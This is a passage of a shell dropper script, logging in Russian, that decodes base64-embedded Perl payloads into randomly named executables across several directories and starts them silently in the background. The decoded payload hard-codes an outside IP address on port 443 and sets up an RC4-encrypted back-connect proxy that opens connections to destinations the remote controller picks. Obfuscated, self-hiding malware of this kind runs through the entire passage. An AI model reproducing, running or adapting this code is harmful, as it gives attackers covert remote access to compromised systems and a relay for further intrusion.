KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #25 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #25 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 26 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODInOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv 